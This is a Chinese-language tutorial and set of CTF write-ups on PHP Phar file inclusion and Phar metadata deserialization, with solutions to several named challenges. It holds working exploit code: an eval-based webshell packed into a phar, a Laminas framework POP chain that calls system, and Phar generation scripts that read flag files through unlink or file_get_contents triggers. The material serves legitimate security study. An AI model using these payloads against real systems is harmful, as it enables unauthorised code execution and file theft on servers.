浅析Phar漏洞
浅析Phar漏洞
Phar简介
phar,全称为PHP Archive,phar扩展提供了一种将整个PHP应用程序放入.phar文件中的方法,以方便移动、安装。.phar文件的最大特点是将几个文件组合成一个文件的便捷方式,.phar文件提供了一种将完整的PHP程序分布在一个文件中并从该文件中运行的方法。
简单来说,phar最特别的地方就在于它的归档功能,可以将phar文件类比为一个压缩文件
Phar文件结构
1.a stub
stub是phar文件的文件头,也可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面和中间xxx部分的内容不限,可以是任意字符,包括留空,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
2.a manifest describing the contents
phar文件本质上是一种压缩文件,这里就储存着phar文件中被压缩的文件的一些信息,而其中最关键的就是Meta-data部分的信息会以序列化的形式储存,这里就是phar反序列化漏洞的触发点
3.the file contents
被压缩文件的内容。
4.a signature for verifying Phar integrity(可选)
放在末尾的签名
一个简单的phar文件
<?php
class example {}
$o = new example();
@unlink("example.phar");
$phar = new Phar("example.phar"); //后缀必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //stub设置
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "this is a test"); //添加要压缩的文件
$phar->stopBuffering();//签名自动计算
?>
Phar demo
在php中,默认phar扩展是只读模式,如果想要生成Phar文件,要将php.ini
中的phar.readonly
选项设置为Off
,否则无法生成phar
文件
Phar文件生成
需要将将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件,默认状态下是On
PS:这里需要注意一定要将phar.readonly前面的;
给去掉
phar.php
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='a';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
最后访问或运行phar.php即可生成phar文件
Phar文件上传漏洞
使用Phar://
伪协议流可以Bypass一些上传的waf,大多数情况下和文件包含一起使用,类似于压缩包(其实就是一个压缩包)
phar://伪协议
php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压,类似于zip://
伪协议
用法:
?file=phar://压缩包/内部文件
shell.php
<?php phpinfo();?>
然后将shell.php压缩,然后改名为shell.jpg
include.php
<?php
include('phar://shell.jpg/shell.php');
?>
[NISACTF 2022]bingdundun
存在文件包含,会自动加上.php
在根据提示只能上传图片和压缩包,所以判断应该是上传phar文件,在包含phar文件执行恶意代码
phar文件内容
<?php
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("shell.php", '<?php eval($_POST[shell]);?>');
$phar->stopBuffering();
?>
生成phar文件后再改后缀为.zip
上传后获得地址
利用phar协议进行包含
?bingdundun=phar:///var/www/html/cfd542b4d5b47b4d02051af4a7d87491.zip/shell
最后蚁剑连接,根目录下获得flag
[BMZCTF]phar??
查看源码
include.php
查看源码
同时告诉了一个参数:file
尝试随便包含一下
仔细查看报错他会在你包含的文件后面加上一个.php
没法上传php文件
可以上传jpg文件
获取到的地址也能访问
简单思路
利用文件包含来触发文件上传的漏洞
这里可以先使用伪协议来读源码
?file=php://filter/read=convert.base64-encode/resource=xxx.php
include.php
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>
过滤了一些东西,然后在末尾加了.php
upload.php
<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>
白名单过滤
然后就可以开始尝试了
创建一个1.php,内容为<?php phpinfo();?>
,然后压缩成压缩包,之后改后缀为jpg,然后上传
payload
include.php?file=phar://upload/1.jpg/1
接下来改下内容重新上传即可
2.php
<?php system('cat /flag'); ?>
Phar反序列化漏洞
PS:在php中,默认phar扩展是只读模式,如果想要生成Phar文件,要将php.ini
中的phar.readonly
选项设置为Off
,否则无法生成phar
文件
成因
在使用phar://协议读取文件时,文件会被解析成phar,而在解析过程中会触发php_var_unserialize()函数对序列化后meta-data的操作,造成反序列化。
php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化
由知道创宇(Seebug)总结出受影响的函数如下
利用条件
1.能够进行phar文件上传
2.能够构造pop链或有魔术方法可用
3.参数可控
[红明谷ctf]Fan website
考点:
1.phar反序列化
dirsearch扫出了www.zip,下载下来获得源码
网上找个链子Zend FrameWork Pop Chain - 先知社区 (aliyun.com)
用其中的这条
<?php
namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}
namespace Laminas\Log\Writer{
abstract class AbstractWriter{}
class Mail extends AbstractWriter{
protected $eventsToMail = ["ls"];
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}
namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}
namespace{
$a = new \Laminas\Log\Logger();
echo base64_encode(serialize($a));
}
现在目标就是找到一个触发点
在这个路径下/module/Album/src/Controller/AlbumController.php
,发现可以实现文件上传
文件删除
public function imgdeleteAction()
{
$request = $this->getRequest();
if(isset($request->getPost()['imgpath'])){
$imgpath = $request->getPost()['imgpath'];
$base = substr($imgpath,-4,4);
if(in_array($base,$this->white_list)){ //白名单
@unlink($imgpath);
}else{
echo 'Only Img File Can Be Deleted!';
}
}
}
文件上传
public function imguploadAction()
{
$form = new UploadForm('upload-form');
$request = $this->getRequest();
if ($request->isPost()) {
// Make certain to merge the $_FILES info!
$post = array_merge_recursive(
$request->getPost()->toArray(),
$request->getFiles()->toArray()
);
$form->setData($post);
if ($form->isValid()) {
$data = $form->getData();
$base = substr($data["image-file"]["name"],-4,4);
if(in_array($base,$this->white_list)){ //白名单限制
$cont = file_get_contents($data["image-file"]["tmp_name"]);
if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
die("Not This");
}
if($data["image-file"]["size"]<3000){
die("The picture size must be more than 3kb");
}
$img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
echo $img_path;
$form->saveImg($data["image-file"]["tmp_name"],$img_path);
}else{
echo 'Only Img Can Be Uploaded!';
}
// Form is valid, save the form!
//return $this->redirect()->toRoute('upload-form/success');
}
}
看这段
if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
die("Not This");
}
if($data["image-file"]["size"]<3000){
die("The picture size must be more than 3kb");
}
对我们上传的文件做了一些限制
1.不能出现<?php __HALT_COMPILER() 可用gzip方式绕过
2.上传的文件大小必须大于3kb
delete函数中
if(in_array($base,$this->white_list)){ //白名单
@unlink($imgpath);
unlink()
函数是文件操作函数,可以触发phar
反序列化的
结合以上信息,有链子,有触发点
很显然这题应该就是phar反序列化了
审计代码发现有个album路由,所以访问imguploadAction()
方法也就是访问album/imgupload
POC
<?php
namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}
namespace Laminas\Log\Writer{
abstract class AbstractWriter{}
class Mail extends AbstractWriter{
protected $eventsToMail = ["cat /flag"];
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}
namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}
namespace{
$a = new \Laminas\Log\Logger();
$phar = new Phar("shell.phar");
$phar -> setStub("撑起大小啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","");
$phar -> stopBuffering();
}
?>
首先利用这个本地生成shell.phar
之后拿到kali去gzip,gzip shell.phar
,然后改个后缀,改成shell.jpg
到album/imgupload去上传,成功后会返回路径,最后在album/delete去触发它即可获得flag
[SWPUCTF 2018]SimplePHP
启动题目,在查看文件处发现url变化
此处存在文件包含,令file为file.php,获得源码
/file.php?file=file.php
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
据此获取其他页面源码
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
index.php
<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
base.php
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
upload_file.php
<?php
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>
</script>
</body>
</html>
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
全局并没有一个unserialize(),那怎么构造反序列化呢?仔细看看,符合phar文件反序列化的3个条件
1.能够进行phar文件上传
2.能够构造pop链或有魔术方法可用
3.参数可控
所以接下来找pop链
class.php中
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
__destruct()
方法中,有个敏感词echo,可以利用echo来触发__toString()
class.php
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}
在show类中找到__toString()
,所以令C1e4r类中的$test为new Show()
即可触发__toString()
$content = $this->str['str']->source;
class.php
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
}
Test类中有__get()
方法
__get()当未定义的属性或没有权限访问的属性被访问时该方法会被调用。
让__toString()
方法中$this->str['str']
为new Test(),然后再去调用source属性,由于Test类中没有source属性,所以就会调用__get()方法,接着去调用get()方法和file_get()方法,最后利用file_get_contents写入shell
class Test
{
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
pop链
__destruct()->__toString()->__get()->get()->file_get()->file_get_contents()
poc
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new C1e4r();
$b = new Show();
$c = new Test();
$c->params['source'] = "/var/www/html/f1ag.php";
$a->str = $b;
$b->str['str'] = $c;
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->addFromString("shell.txt", "shell"); //生成签名
$phar->stopBuffering();
?>
访问或运行poc后生成shell.phar文件
在function.php中规定了能上传的文件类型
$allowed_types = array("gif","jpeg","jpg","png");
所以需要把shell.phar改为shell.jpg
上传之后,根据function.php中的规定可以计算出上传的文件名
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
其中$_FILES["file"]["name"]=shell.jpg
所以$_SERVER["REMOTE_ADDR"]
就为题目的ip
对其进行md5即可获得文件名
<?php
$ip="xxxx";
echo md5("shell.jpg".$ip);
?>
此题upload目录是直接开放的,所以还可以直接去upload目录下看文件名
得到的文件名和计算出来的肯定是一样的
最后利用phar://
伪协议读取上传的phar文件即可
file.php?file=phar://upload/be96ef78a67d60869b97b11b915ae6b3.jpg
解base64得到flag
[CISCN2019 华北赛区 Day1 Web1]Dropbox
启动题目,简单注册登录后
什么有用的信息都没发现,但这里可以上传文件,随便上传个文件试试
只能上传jpg和png,上传成功后返现可以对文件进行下载和删除
burp截包,在下载时发现文件名是可控的
所以可以目录穿越下载每个功能的源码
index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>缃戠洏绠$悊</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">绠$悊闈㈡澘</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">涓婁紶鏂囦欢</label></li>
<li class="active ml-auto"><a href="#">浣犲ソ <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
在class.php中的File类中发现file_get_contents(),所以接下来寻找pop链,来调用file_get_contents()
在Usr类中的__destruct()
中发现$this->db->close();
,这样可以直接指向File类中发现file_get_contents()
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function __destruct() {
$this->db->close();
}
}
但问题在于把flag写进去后因为close()方法中用的时return,所以无法输出写入的flag
public function close() {
return file_get_contents($this->filename);
}
所以这里需要找到其他的调用链,其中有能利用的用来输出flag的东西
在FileList类中发现__call()
方法,所以令$this->db=new FileList()
,由于FileList类中没有close()方法,所以就会调用__call
方法
function __call(string $function_name, array $arguments)
{
// 方法体
}
//第一个参数 $function_name 会自动接收不存在的方法名
//第二个 $arguments 则以数组的方式接收不存在方法的多个参数
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
其中$func成员变量储存着的就是不存在的方法名
$file就是上传文件的file对象
results[][]
是个二维数组,其中第一维存储的上传的文件名,第二维存储的是调用不存在的方法后所返回的结果,一个方法对应一个结果
再简单介绍下__call的一些特性
<?php
class Example {
public function __call($name,$arguments){
print("调用$name"."Function()方法吗<br/>");
$a="$name"."Function";
$this->$a();
}
public function TestFunction(){
echo "成功调用了TestFunction()方法";
}
}
$a=new Example;
$a->Test();
//result:
//调用TestFunction()方法吗
//成功调用了TestFunction()方法
因为最后有$file->$func()
,而func则是由Usr类中的__destruct()
所传过来的close方法名,而$file也是可控的,所以只需令$file为new File()
,就可以调用到File中的close方法
public function close() {
return file_get_contents($this->filename);
}
令filename为flag.txt即可读取到flag值
读取后应该怎么回显出来呢?
同样在FileList类中的 __destruct()方法中,输出了$table,而$table变量中由成员变量存有刚刚读取的flag.txt
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
其中$filename
是上传的文件名,而这里的result则是存放着所有调用不存在方法后返回的结果,所以通过foreach可以遍历其中的每一个结果,而$value就是单个结果的内容
所以pop链就很清晰了
User->destruct()=>FileList->call()=>File->close()=>FileList->__destruct()
最后还需要找到一个触发点来触发User的__destrcut()
在delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
其中$file->detele()
执行了一个对文件删除的操作,对应着class.php中delete()方法中的unlink函数,而这个函数可以进行文件删除的操作,所以就是用delete来触发。
POC
<?php
class User {
public $db;
public function __construct(){
$this->db=new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files=array(new File());
$this->results=array();
$this->funcs=array();
}
}
class File {
public $filename="/flag.txt";
}
$a = new User();
$b = new Phar("shell.phar");
$b-> startBuffering();
$b->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$b->setMetadata($a); //将user写入到metadata中
$b->addFromString("shell.txt","haha");
$b->stopBuffering();
最后上传后进行删除操作时用phar://
协议去读就可以了